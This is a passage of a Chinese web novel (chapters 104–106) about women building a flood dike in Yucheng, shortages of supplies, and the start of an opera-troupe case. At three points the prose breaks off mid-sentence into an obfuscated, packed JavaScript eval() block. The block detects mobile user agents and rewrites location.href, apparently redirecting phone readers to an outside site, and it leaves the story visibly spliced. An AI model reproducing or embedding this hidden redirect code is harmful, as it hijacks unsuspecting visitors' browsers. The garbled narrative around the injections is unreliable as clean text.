李大娘听了喜笑颜开,捞起衣摆使劲擦了擦手:“大人不怪便好,这下找我可是找对了。我娘家是开布匹店的,我幼时便与父兄一起去进货、在铺子里裁衣,不管是布匹还是山路,我的眼睛啊,都能丈量出长短!” “那你看看,”云逸杰伸手指着,“从那戏马台,到城下,有多远?” 李大娘眯着眼睛观察了会儿,笃定道:“云大人,您信我,这儿要是修长堤啊,大概有七百丈!” “那这条呢?” “这条……大约是九百丈!” “好,多谢李大娘。阿江,告诉大家,咱们修那七百丈的长堤!” 104. 第一百零四章 浩浩黄水,梨花枪上红缨飘。云江在长枪上系了一根长长的红带子,在宽阔的洪面上格外显眼。 她走在最前,高举着红缨梨花枪,如涉水而过的巨人般步步向前,稳稳当当,把用绳子一个系着一个的女子们往前带。 春信道:“阿江,注意安全!” 云江正拉着绳子将后头的人带过去,闻言回头看了一眼,灿烂一笑:“放心吧!” 女人们忙起来,初时觉得有些困难,慢慢地也得心应手起来。 这事需要的力气,她们也不是没有,毕竟平日里总是下地干活的贫苦人家多些。这事需要的脑筋,原也没有那么多,带头的云将军指哪儿,她们往哪儿去便是。 这五千余人分了三波,换着修堤坝、换着休息,日夜不断、争分夺秒地拼着命。 唯一担心的只有家里的孩子,还有女人修出来的堤坝,万一晦气,万一倒了怎么办。 八月二十日,七百丈堤坝成了两百丈。 自开工起,云逸杰与徐友来便日夜在城上巡视,夜晚也只在城楼上草草睡去。 期间,多次向外传递消息无果,雨势不减,水流湍急,行人船只,靠普通的兵卒,无法越过。 至于莲县兵士,不知是否已知晓禹城灾难。云逸杰想谢明乾总该没那么笨,只是如今他就算愿意,能否带人冒险回来相救,也还是问题。总之,不将目光放在上游那头。 九月一日,七百丈堤坝成了五百丈。 只是这时,出了些问题。 这些日子里,蒋玉蓉和陈青一边忙着修堤坝,闲时还监督催促后方的人,每人每日一碗姜汤,想着女子多畏寒,喝些姜汤不至于累垮了身子。 没想到还是出事了。 陈青会些医理,先去给那些人看病,云逸杰赶到时,已经倒下了几十个人。 “玉蓉姑娘,这是怎么回事?” 陈青正在给病人施针,听见如此亲近的称呼,不由得转过头打量了云逸杰几眼。 蒋玉蓉道:“云大人,这些大姐大娘,是累病了。” “累病了?”云逸杰一听,总觉得有古怪,难道是下面负责排班分工的人出了什么问题,叫她们休息不能? “每日的队伍都是阿江带着去的,应该都有得到休息才是啊。”云逸杰找到了一个神思还算清醒的女子,“这位大姐,可是前方修筑堤坝的活儿太辛苦了?” 接到消息的那刻,云逸杰心上是发颤的,她怕自己做了错误的决定,怕自己盲目自信,害了城中女子。 “多谢云大人关心。”那女子咳嗽了两声,有气无力道,“前方的事虽然辛苦,但也并没有叫我负担不起,毕竟我也是在田里做惯了的人。” “可是连着做了好几班,未曾回来休息?若是如此,我定是要追究负责的官吏责任的。” 那女子摆摆手:“休息了的,云小将军每次都催我们回来休息的,他叫我们不能不知疲倦地干。” 云逸杰心下却又沉了沉,莫非是这些女子身体太弱?若如此,她真是愧不可已。 “是否身子弱了些,浸在冷水里,着了寒了?” “不是。”陈青抢答道,“她们身体都还健壮,若要说体弱而倒下,还轮不到这些小年轻。” 云逸杰这才抬眼望去,果真见这屋子里躺着的病人,竟全是些年轻的。 “陈大娘,您可知这是怎么回事?”云逸杰问。 陈青有些戏谑地冲床上躺着的人笑了笑:“你问她们自己。” 云逸杰方才将各种可能都问了个遍,这些女子觉得自己病倒与官府无关,不想无端让人牵挂,又觉得是自己没做好,耽误了大家的功夫,心里都有些过意不去,低着头什么也没说。 陈青见云逸杰眼中尽是不解,这才好意道:“这些人都是妇人打扮,说明是成了亲的。年纪又小,正是干活儿的好时候,可见刚成亲没几年。看她们这劳累的样子,不像挖泥巴挖的,倒是像带孩子带的。” “带孩子带的?”云逸杰有些懵,“可是放在城里的孩子,都是有人照顾的呀,难道是安排有遗漏?” 方才同云逸杰说过话的女子这才开口道:“大人,自家的孩子,总是不能完全放心的。再说了,在后方的姐妹们既要做饭洗衣,打理后勤,还要带孩子,这些事,一个人家里做也是辛苦的,更何况那么多孩子,我们在前头辛苦,可也知道洗衣做饭带孩子,光是只做一件也同样辛苦,所以回来休息时,多是自己看看孩子。” 云逸杰这才明白过来:“这么说来,各位是在外面做工完了,回来本该休息的,却又去看孩子了,这才累垮的?” 一屋子的人没说话,却也都默认了。 “我明白了。”云逸杰起身施了一礼,“各位大姐,我和知县徐大人,都没有家眷,也没带过孩子,故而忽略了。我这便同下面的人说,多拨一些人到后方,分成两队人,一队管后勤,一队管孩子,这两队内部,又早晚换班。如此,各位可能放心了?” 众人都喜笑颜开,答应了下来。 陈青放下手里的帕子,道:“说好了的话,云大人可以出去了吧。这儿全是女子,我还要治病扎针,总归是不方便的。” 云逸杰愣了愣,蒋玉蓉过来悄悄推了她两下,她才明白过来自己的身份,笑道:“我太过心急,失礼了,多谢陈大娘提醒,这就告辞了。” 这件事最后的解决方法,却没想到是洪老太提出来的。 云逸杰听春信说,洪老太自告奋勇,说闲着也是闲着,一把老骨头也还有些用,便带着其他的老妇人,自愿看管起孩子来了。 云逸杰不置可否,这事只要解决便是好,随即也就搁在脑后了。 九月十一日,七百丈堤坝也就竣工了。 全长七百丈五十四尺,李大娘的估算可以说几乎没有差错,高一丈,阔两丈。此时水深已有两丈三尺,好在堤坝阻挡,洪水也就不来城了。 竣工那日,女人们仍是排着长队去上工,最后完成之时,春信高兴得大喊:“姐妹们,花果山有美猴王,我们在禹城,也做了自己的美龙王了!” 云江站在最开头,挥舞着枪上红缨,云逸杰立于城楼之上,看过去,这一切还真像是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13369586|124185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条飞舞腾跃的巨龙。 城内的水是不再来了,可洪水并未消退,仍不可掉以轻心。 云逸杰看着歇下来的女人们,心中焦急,她特意带来的那批物资,眼下也不得不去取了。 云江自告奋勇要去,云逸杰却觉得不忍心,连日以来,她都累瘦了,就算是铁打的,也禁不住再去洪水里拼一朝了。 守一握紧了抱朴刀,道:“我去吧。” 云逸杰还想拒绝,她却道:“那批物资事关重要,必须有人去。先前派出去的普通士兵都不能完成,只有武艺高强之人才能完成此任务。你不必担心,我前些日子没花多少力气,就是为了等今天,阿江和春信都累了,让她们去休息吧。” 云逸杰想了想,守一说的话句句在理,她如何能不答应? “只是此去凶险,你千万要注意安全,平安归来才是啊……” 守一也知道此行凶险,她头一次清晰地意识到,自己会死,第一次在意起死来。和莲县玉迦山上那一次相比,她不一样了。 “若是我死了,不用想着给我收尸,随水而去就是了。”她平静道。 蒋玉蓉来了一句:“守一姐,死在水里的尸体,会胀得跟癞蛤蟆似的,你还是别轻易死……” 守一捏了捏她的嘴,将她捏成个鸭子:“知道了,就你会说。” 云逸杰还是不放心,守一却把她单独叫到一边,拿出了个小布包。 “回你的礼物。” 云逸杰好奇,打开才见是一把小臂那么长的短刀。 端详许久,云逸杰才回过味来:“这是你之前那把短刀打的?” “嗯。” “难怪啊,难怪之前好久都不见你的踪影,想来我去上值的时候,你都在捣鼓这把刀吧。”云逸杰看见刀身上的祥云图案,又握住刀柄比划了几下,心满意足道,“这刀漂亮又趁手,我喜欢。” 守一道:“大师兄得了师父真传的锻刀技艺,我请了他教我,亲自打的。” 云逸杰听见“亲自打的”几个字,嘴上胡乱说着:“难怪他也老是不在。这刀漂亮,但是太漂亮的东西总是易碎,这样吧,我给它起个贱名,就叫……” “就叫……”云逸杰将短刀收入鞘,“就叫杀猪刀吧。” “……” “随你吧。”守一道,“我走了。东西,一定会带回来的。” 云逸杰勾起微笑:“好,一定。” 洪水控制下来了,早该上场的东西也不得不来了,那干净的棉花和草木灰,是带过来给女子经期用的,云逸杰想着早些带过来怕脏污了,才留到后头。故而守一去这一趟,大家都知道有多重要。 一日吃过晚饭,云逸杰想和云江再去巡视一下堤岸,刚站起来,便觉下腹坠痛。云江立马读懂了她的眼神,找了间空屋子将她塞进去,自己去找些东西来给她垫垫。 云逸杰到那间屋子里,捞起衣摆,借着月光瞧见了裤子上的血,不禁叹了口气,却听身后传来盆盏落地的声音。 她身子一僵,转过头去,洪老太的脸色在月光下如素纸般惨白。 105. 第一百零五章 忽明忽暗的月色之间,两个人就这么面面相觑,谁也没有动弹。 半晌,还是云逸杰先反应过来,上前捡起了地上的铜盆,将其放回洪老太手中。 “洪老太在此地做什么?” 洪老太回过神来,站直了身子,平静得好似真的在拉家常:“我来看看这儿还有没有病人了。” 云逸杰这才发现自己所处的地方,便是前些日子给病倒了的女子们看病的地方。 “原来如此。”云逸杰沉默了片刻,道:“我们还真是有缘,三番五次地在治病救人的地方遇见。” 云逸杰意有所指,是那次在莲县为了许梅香在医馆遇见的事。方才撞见洪老太,她心里说不慌是假的。于是提起许梅香,也是侥幸想唤醒一下洪老太的良知。 只是管不管用那就另说了。 洪老太皮笑肉不笑,道:“云大人说笑了,咱们只在莲县医馆遇见过一次罢了,哪里来的三番五次。” 云逸杰微怔,随即道:“那好,是我记错了。不过咱们下次再见,可能是在审冯贵的公堂之上了。” 闹了这么久,也该是时候速战速决了。 洪老太闭了闭眼睛,再睁开时,里头的死寂与失望便叫人有些看不懂了。她没提别的,只是说:“我亲家刘大娘的事儿,我已听说了,她死得可怜,我也后悔那日在公堂上与她吵嘴,早知道,该请她上家去喝一壶好酒,烫两口小菜。” 云逸杰站着没说话,洪老太便说要告辞,临走前转过头来,还真就言之凿凿,真把刘群意当家人了似的,嘱咐了一句:“云大人,她既是为官府而死,我也求你们,为她讨回个公道罢。” 云逸杰不知道她为何突然之间这么通情理了,或许真的是刘群意的死叫她伤怀,大发善心了吧。 她走出门去,云江道:“怎么我见里头走出来个老太太?别是看见什么了吧?” 云逸杰目光向外边看去,只道:“没有。” “哦,那好。但是我去找了一圈,没找到干净的布什么的,问了春信和蒋玉蓉,她们也说毫无准备。”云江皱着眉,“你倒是还好,现在洪水影响没那么严重了才来月事,只是不知道前些日子那些大姐大妈遇上了是怎么解决的。” 云逸杰道:“我找了两块换药的纱布,暂时解决了。前些日子是没办法,就算有也会被污损了,所以等洪水没那么厉害了,才叫守一去州里接,再等等,再等等就好了。” 等待的时日里,云逸杰迅速地给冯贵治了罪,这次没有了阻碍,顺利了许多,若不是大雨还未结束,洪水还未完全退去,现在砍头头落在水里滚去怪瘆得慌的,她恨不得现在立刻就行刑。 到了九月二十日,守一带着一队人马,驾着船拉着物资回来了。 春信和云江迎上去,还未来得及感叹一声幸得再相见,便见守一脸颊上有一道血口子,守一见了她们,有些不正常地低下头:“快帮忙把这些棉花干布分下去。” 云逸杰方才一来便去查看货物,没顾得上这边,这会子走过来道:“守一,怎么这物资少了些,是船载不下了么?诶,你脸怎么了?” 守一垂着眼:“不小心蹭到了。” “瞎说,骗谁呢。”云江道,“你这分明是刀刃划伤的!” 云逸杰一把抓住守一:“谁干的?” 守一定定地盯着脚下,好半天才道:“我去的时候,同太守说,钦差大人带来的那批物资,她特意交代过的,现在我要取走。他先是说我这个小女子,充什么侍卫。我拿出你给的凭证,他才不说了。但又支支吾吾,一会儿说库房钥匙丢了,一会儿说看管的人睡着了,总之怎么都找不到人。” “我看他言辞闪烁,便拔剑逼问,他手底下的将军与我打起来,眼见被我摁在地下了,他才交代。” “你脸上的伤是打架时留下的?”云江道,“不至于啊,你如今的武艺,能伤到你的人寥寥无几。” 守一抱着手,紧紧抿着嘴,像是不想说话。云逸杰给蒋玉蓉使了个眼色,蒋玉蓉上前仔细看了看那道三指宽的伤痕,在有些深的伤口里看到了些碎屑,转头望了望载着守一而来的船,心下有了判断,又摸了摸守一身上的衣服,才确定下来。 “你这是在船上摔了一跤?”蒋玉蓉道,“伤口之中有木屑,与这船身的料子很像。我方才摸了,你腋下腰间的衣服都是湿的,这个地方很难是被雨水打湿的,结合起来,你应该是摔了一跤,难道不小心跌进水里了?” 守一埋着头,不轻不重地点了下头:“昨夜天黑,站在上头踩滑了。” “我看不是吧。”云逸杰沉声道,“是不是船差点翻了。” 她不是在问,而是像在陈述事实。 良久,守一才“嗯”了一声,道:“只是差点翻了,最后有惊无险,好在是把东西带回来了。” 云逸杰叹了口气,目光有些深沉。 “守一,东西回不回来,怎及你的性命那般重要。” 守一愣住,像是有些糊涂,随后才反应过来:“你放心吧,我当时想好了,船若翻了,我便自己游回来,没多大点事儿。你别忘了,那次你在醉红轩,可是我撑船把你摇回来的,对我的技术,你最熟悉不过了吧。” 云逸杰笑道:“行,我明白了,平安回来就好。你接着说说,这东西为何少了许多?” “太守说,那些干棉花和干草,他见还多着,便拿去给将士们铺床睡了。若真是这样,我也不说什么,可我去营地里看,州里地势高,受灾本就不严重,没到那床都没有的地步,那些棉花干草,哪里是用来铺床了,分明被那些人拿来垫着擦脚了。” “岂有此理!”云江捏紧了拳头,“我去把这帮畜生砍了!” 饶是云逸杰,也气得浑身发抖,道:“算了,日后自有法子收拾他们。先看眼下,这些东西还剩多少?” “糟蹋了一半,剩下的我全拿回来了。”守一道。 “如今也没办法了,”云逸杰道,“那时不告诉他们这是为女子月事准备的,便是害怕他们因此不认真对待,却不想千算万算,千防万防,还是没防住。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388844|124185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 春信道:“哼,等着吧,等水退了,将这些人一并套上麻袋打了!” 春信骂骂咧咧地,叫上蒋玉蓉,和守一三人一起去把东西分了。 “大家都辛苦了,前些日子条件实在恶劣,没能及时给大家送上这些东西,如今好些了,大家有需要的就快些来领吧,若是暂时不需要的,也可以等之后需要的时候再来拿!” 春信发棉花,蒋玉蓉发干布,守一发刚烧了的草木灰。春信道:“这三样东西大家领回去自己装好了用,怕弄脏了所以我们就不替大家统一制作了哟。” “多谢春信姑娘!”来领东西的大姐乐呵呵道。 “不客气的!” “还是你们这些小姑娘想得周到,前些年禹城洪水厉害的时候啊,来的都是些汉子,哪能想到这么多啊!”大姐赞不绝口,却被旁边的大妈伸手戳了戳:“你可别说这些,被那些汉子听了去可怎么好!” 大姐这才发现自己说错了话,忙捂上了嘴。 春信回头看了云江和云逸杰一眼,回头道:“大姐说得是,这都是我向我家大人提议,才能带过来的。” 云逸杰说了,不许提她的名字,这功劳她们三个人谁要便谁说了去,总之不能提她也不能提云江。 问她为何在此等小事上还要深藏功与名,她只说:“男人哪会想这些,我是不想别人抢去了咱们的功与名罢了。” 忙活了这些日子,大家终于能坐下来一起吃顿饭。 先前,云江和春信总是在前面忙活修堤坝的事,蒋玉蓉在后头照顾病人和伤员,每天请没有忙着冲锋陷阵的守一带她去给这几个人送饭。云逸杰在城楼上看着,却是吃得更少,一问总说吃不下。 这下堤坝竣工了,守一养精蓄锐干了票大的,这下成了伤员,蒋玉蓉又在她身上找到好几处淤青,都是磕碰所致,她便一边被几人嘲笑浑身“尸斑”,一边被灌汤灌药。 当然,没怎么好好吃饭的云逸杰也逃不过。 “好了好了,本来也没多少菜,就别总是往我碗里夹了。”云逸杰用筷子挡住碗道。 “行,那守一吃。”云江又给守一夹菜,守一也捂住碗道:“我也不用了。” “咱们倒是,桌子上坐着这么大一个官儿,却吃不到什么油水,云大人这个钦差,还真是不一样啊!”蒋玉蓉道。 众人笑作一团,春信打趣道:“可不是么,云大人也不贪点!” 大家都笑,云逸杰却觉得蒋玉蓉这话不简单,也玩笑似的道:“你这个小孩子,是我们当中最小的了吧,禹城自五年前,应该就没有来过钦差,你见过几个钦差啊就敢这么针砭时弊地编排人?” 蒋玉蓉只知道笑:“我哪儿知道啊,都是我娘告诉我的,她叫我别老跟着你们,钦差都是来混油水吃的,叫我别学坏了。我跟她说了,云大人自己都没几件衣服穿没什么像样的饭菜吃,就别担心她贪污了,她才松口的。” 云逸杰似笑非笑地勾起嘴角:“看来上一位钦差……死得不怎么冤啊。玉蓉姑娘,你说,我会不会也死在这儿?” 106. 第一百零六章 “呸呸呸,尽说些不好听的。”春信站起身来作势要扑上去,“打嘴打嘴!” 云逸杰道:“说笑罢了,春信姑娘如此怕我死,以后不说便是了。” 春信撇撇嘴,阴阳怪气道:“我才不怕你死,我是怕你死了,我没去处罢了!不过我和守一何去何从嘛,你向来也不担心,随口一张罗,就让我们跟了这个那个的。” 春信翻起旧账来,云逸杰脸上挂不住,忙答道:“我哪里敢呀,春信姑娘真是说笑了。” “你哪里不敢呀,你说不出口,倒是做得出来!你当时孤身一人尚且直截了当地把我们甩得远远的,现在有了阿江,是更不需要我们咯。” 云逸杰无奈道:“你呀你,你这算话说得,只怕是林妹妹也比你不过。” 春信道:“你这人,到底还有多少妹妹?” 云江笑得合不拢嘴:“还是春信姑娘最会讲笑话,最可爱了!” 春信见大家都取笑,只有自己和蒋玉蓉一脸不解,便知道自己是说错了什么话,又不好问,羞红了脸,半天只憋出个:“不许笑!” “好好好,不笑就是。”云逸杰故意冷了脸,命令道,“本官命令,都不许笑了!” 这一下,便是所有人都笑起云逸杰来了。 说笑之后,云逸杰点了蒋玉蓉的名,吓得她赶忙坐好:“云大人请吩咐。” “不必拘谨,像平日里那样便好,我只是想问问,你表哥陈祥也去莲县帮忙了对吧?” 蒋玉蓉有些不明所以,云逸杰这些日子做事皆是亲力亲为,禹城有多少人,她最清楚不过了,除了老头,禹城基本上男丁都去了莲县,这个问题,何需问她呢? “嗯,是去了。”蒋玉蓉点头道。 云逸杰道:“应当会和幽王一起回来,你和家里无需担心。不过这么说来,他一时半刻地回不来,那么我眼下的这件重任,就只能交给你咯?” 说来说去,她不过是存了玩笑的心思,其实她早便想多给蒋玉蓉一些机会了。 蒋玉蓉一听重任,便有些害怕,却也大着胆子问道:“什么任务,如此重要?我要是能帮上忙的,一定帮。” “蒋仵作此言就太谦虚了,且不说你是仵作世家出身,就说你在大理寺学艺那两个月,都已经是别人难以望其项背的了,这事若你都帮不上忙,还有谁能帮忙?” 蒋玉蓉先头因为“蒋仵作”这样的称呼而羞红了脸,然而在听了后面的话后便正色回答,并未骄傲,但也不谦虚,只是一本正经道:“我一定尽全力。但我年纪小,见过的东西不那么多,如果我实在没办法的,我便去求我娘,再不行,我去求外公,总之,我就算无能为力,也一定会想办法完成。” “好。”云逸杰眼中满是欣赏,“那就请蒋仵作帮我看看,五年前的一张验尸单。” “验尸单实在是没有。”徐友来一本正经,额上还有几滴细汗,“云大人莫非是打听错消息了?” 云逸杰亲眼见徐友来带着人翻遍了所有记录在案的卷宗,确实没有当年死去的奇相司司长窦显奇的验尸单,连个卷宗也没有。 她冷笑一声:“只怕不是问错了,是我被人骗了,是此事被刻意隐瞒了。” 她回南都后,趁着还在大理寺的那段日子,想要调阅当年的卷宗,没想到一点东西都没捞着,那里看管案卷的人对她说,大理寺的案子太多,那案子已经判了,凶手不仅抓了还处决了,如今必定是没有保留卷宗了,只叫她到案子发生的地方去查。 如今看来,当年的手脚确实做得干净,屁股也擦得很干净,不仅是案发时的证据、现场,就连案子的踪影,也全然消失了。 所以说,就算皇帝不因对净巍宗起杀心而阻止谢明乾翻案,世上也有的是人阻止,净巍宗的骂名,恐怕是要背一辈子了。 云逸杰点头,对蒋玉蓉道:“蒋仵作,麻烦你跑这一趟了。” 蒋玉蓉浑身包得严严实实的,黑布遮面,活像个杀手似的,这会儿人多眼杂,她不方便开口,只是摆摆手。 按照和官府的约定,她若要验尸,必须掩盖行踪从小门进入,而且万万不能露面,且验尸单上的名字,只能写她表哥的。 春信也为她抱过不平,她却很随遇而安似的,只道:“我娘说,从前她去验尸也是如此,验尸单上也只能写舅舅或外公的名字,她觉得不服气,所以早早地不想干了。不过母亲是逼不得已,我却是自愿的,我甘之如饴,只要能做仵作,其它什么我都不在乎。” 春信觉得这姑娘心大,自己就能看开,她也就不再说什么,只是不经意似的道:“幸得已经入秋了,你穿这么严实也不会太热了。” 徐州八月起的这场水大水,历经七十六日,终于在快到十月的时候结束了。 据说,幽王很快就会带着禹城的男子回来了,已派人先行送了信。 按理说,云逸杰和谢明乾就该回南都复命,回禀此次徐州之行的结果了。可是她知道,皇帝不想她空着手回去,也更不想谢明乾带着脑袋回去。 于是她便以此次大浸稽天损失惨重,她和幽王愿意留下来治理为由,上书皇帝,留在徐州。 没想到皇帝直接给她安了个职位,恢复了名义上的奇相司,封她为新司长,同为正三品,又提拔云江为从四品的归德中郎将。因奇相司暂未安排任何具体的职务,上上下下也只有她和她请来的云江,加上之前带来的几百精兵,既没油水也无权力,故而没人会为难她们奇相司,顶多觉得皇帝想用个虚职套牢几个衷心的人罢了。 谢明乾则被皇帝安排继续挂着边疆骠骑大将军的名号待在她身边,美名其曰历练,实则手底下的兵现在只有他自己一个人,只因春信守一现在随了云逸杰,而她们四人说是侍卫,实则是黑户,就连破山和春雨都算不上兵。 不过和云逸杰的奇相司司长不同,谢明乾的活儿在外人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404177|124185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼里看起来就是:皇帝太想念儿子,也不忍心因为净巍宗的错再惩罚,便找个理由将儿子叫回来待在近一些的地方,不被边疆的苦寒所折磨。 这是皇帝的安排,在谢明乾那里恐怕很难轻易接受,于是云逸杰给出的理由是:在禹城又遇上一宗诡案,身为大昭第一神探的云逸杰怎能袖手旁观置之不理?于是柳叶眼明察秋毫,指似竹执笔书罚,她想留下来当判官,请平初兄也留下来观战再好不过。 谢明乾收到消息,心里闷闷的,却还是没有一点不答应的想法,夙兴夜寐,只想乘奔御风去见见云逸杰。 这案子,原是关于那戏班子的。 话说这是个南曲班子,多少年间各地辗转疲于奔命,没闯出什么名堂来,后来到了禹城,给醉红轩唱过几回戏,不知怎么的就被眼高于顶的顾紫陈给看上了,破例将这个班子留了下来,专门给醉红轩唱戏。 说来也怪,这南曲班班主历来都是个资质平庸的,偏偏来了醉红轩之后,写出了好些戏本子,深受人们喜爱,南曲班子和醉红轩的身价也都水涨船高,这戏班子也就成为了醉红轩除了紫陈红以外最大的招牌。 事情是在云逸杰安排徐友来去找戏班子唱戏之后发生的。 话说这徐友来呢,也是科举出身,诗词歌赋样样精通,对词曲也很是感兴趣,当日听了云逸杰的话以后,甚至大有自己亲自动手写一个本子的想法。 不过被南曲班子的班主汪梅给拒绝了。 这班主一脸傲气地坐在椅子上,吐了口瓜子,道:“虽然您是知县,我只是小民,但是我们曲艺人的尊严还是要有的,您出了如此高价,我才勉强破例,能以您的故事为蓝本,且具体的情节一定要演出来。当然,要不是您的故事本身就很打动人,无论给我多少银子,我都不会答应的。” “但是您若是想自己写上几句,那就请带上您的银子离开,自己去写吧,我汪某人受不起如此折辱。” 徐友来满头大汗,他总不愿自己一时兴起,弄砸了云逸杰交代的事,便好声好气道:“那是自然,汪班主您说了算。” “哼,”汪梅道,“我用什么曲子、选哪把丝竹、用哪个角儿、写几回,全部都得由我来定,我丑话说在前头,您要是叫我改,我只有两个字:绝不。除非你叫我死。” 徐友来这下怎么还敢说话,只敢点头,生怕自己哪句话说得不对,让汪梅以为是他要求改东西。若汪梅寻死,只怕徐友来担待不起! 可巧不巧,后来每一次见面商谈,徐友来倒是都很满意,只有一次,徐友来发现,有个最重要的情节,那便是许梅香的湛蓝色发巾,汪梅忘了写。先前徐友来为了完成所谓的加深印象,亲自选了芙蓉糕、算盘和湛蓝色发巾为意象,结果好巧不巧,云逸杰可以交代的蓝色头巾写漏了,这可怎么得了! 徐友来心一横,厚着脸皮想找汪梅把这东西添上去。 只是这一下,就出事了。